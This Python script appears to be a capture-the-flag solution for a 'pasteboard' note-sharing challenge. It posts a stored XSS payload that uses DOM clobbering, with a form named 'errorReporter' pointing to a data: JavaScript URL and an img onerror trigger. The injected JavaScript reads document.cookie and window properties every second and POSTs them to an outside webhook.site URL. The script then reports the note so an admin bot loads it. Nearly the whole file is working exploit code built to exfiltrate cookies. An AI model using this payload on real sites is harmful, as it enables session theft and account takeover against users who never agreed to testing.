#!/usr/bin/env python3
"""
Try to trigger any bot-specific behavior or check if bot sets cookies after page load
"""
import requests
from urllib.parse import urljoin, quote

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# Check cookies repeatedly over 30 seconds (bot stays for 30 sec)
code = f"""
let checkCount = 0;
const checkInterval = setInterval(() => {{
    checkCount++;
    const data = {{
        check: checkCount,
        cookie: document.cookie,
        location: location.href,
        // Check if anything changed in window
        windowKeys: Object.keys(window).filter(k => !k.startsWith('webkit')).slice(0, 50)
    }};
    
    fetch('{WEBHOOK}', {{
        method: 'POST',
        body: JSON.stringify(data)
    }});
    
    if (checkCount >= 30) {{
        clearInterval(checkInterval);
    }}
}}, 1000);
""".replace('\n', ' ')

payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{quote(code)}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("⏱️  Sending continuous monitoring payload (30 seconds)...")

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Continuous Monitor", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"✅ Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"✅ Queued!")
        print(f"\n📊 This will check every second for 30 seconds")
        print(f"   Looking for cookies or window properties appearing")
        print(f"\n🌐 Check webhook: {WEBHOOK}")
        print(f"   You should see 30 POST requests")
